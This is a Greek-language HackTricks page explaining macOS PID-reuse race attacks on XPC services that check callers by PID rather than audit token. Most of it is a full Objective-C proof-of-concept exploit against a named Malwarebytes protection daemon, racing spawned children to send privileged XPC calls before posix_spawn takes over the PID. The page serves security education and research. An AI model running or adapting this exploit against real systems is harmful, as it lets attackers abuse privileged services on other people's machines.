macOS PID Reuse

Support HackTricks

PID Reuse

Όταν μια υπηρεσία XPC του macOS ελέγχει τη διαδικασία που καλείται με βάση το PID και όχι με το audit token, είναι ευάλωτη σε επίθεση επαναχρησιμοποίησης PID. Αυτή η επίθεση βασίζεται σε μια συνθήκη αγώνα όπου μια εκμετάλλευση θα στείλει μηνύματα στην υπηρεσία XPC καταχρώντας τη λειτουργικότητα και μόλις μετά από αυτό, εκτελώντας posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) με το επιτρεπόμενο δυαδικό αρχείο.

Αυτή η συνάρτηση θα κάνει το επιτρεπόμενο δυαδικό αρχείο να κατέχει το PID αλλά το κακόβουλο μήνυμα XPC θα έχει σταλεί ακριβώς πριν. Έτσι, αν η υπηρεσία XPC χρησιμοποιεί το PID για να πιστοποιήσει τον αποστολέα και το ελέγξει ΜΕΤΑ την εκτέλεση του posix_spawn, θα νομίζει ότι προέρχεται από μια εξουσιοδοτημένη διαδικασία.

Παράδειγμα εκμετάλλευσης

Αν βρείτε τη συνάρτηση shouldAcceptNewConnection ή μια συνάρτηση που καλείται από αυτή καλώντας processIdentifier και όχι auditToken. Είναι πολύ πιθανό να σημαίνει ότι επαληθεύει το PID της διαδικασίας και όχι το audit token. Όπως για παράδειγμα σε αυτή την εικόνα (παρμένη από την αναφορά):

Ελέγξτε αυτό το παράδειγμα εκμετάλλευσης (και πάλι, παρμένο από την αναφορά) για να δείτε τα 2 μέρη της εκμετάλλευσης:

  • Ένα που δημιουργεί αρκετούς κλώνους

  • Κάθε κλώνος θα στείλει το payload στην υπηρεσία XPC ενώ εκτελεί posix_spawn αμέσως μετά την αποστολή του μηνύματος.

Για να λειτουργήσει η εκμετάλλευση είναι σημαντικό να export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ή να το βάλετε μέσα στην εκμετάλλευση:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

Πρώτη επιλογή χρησιμοποιώντας NSTasks και επιχείρημα για να εκκινήσει τα παιδιά για να εκμεταλλευτεί το RC

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

Άλλα παραδείγματα

Αναφορές

Υποστήριξη HackTricks

Last updated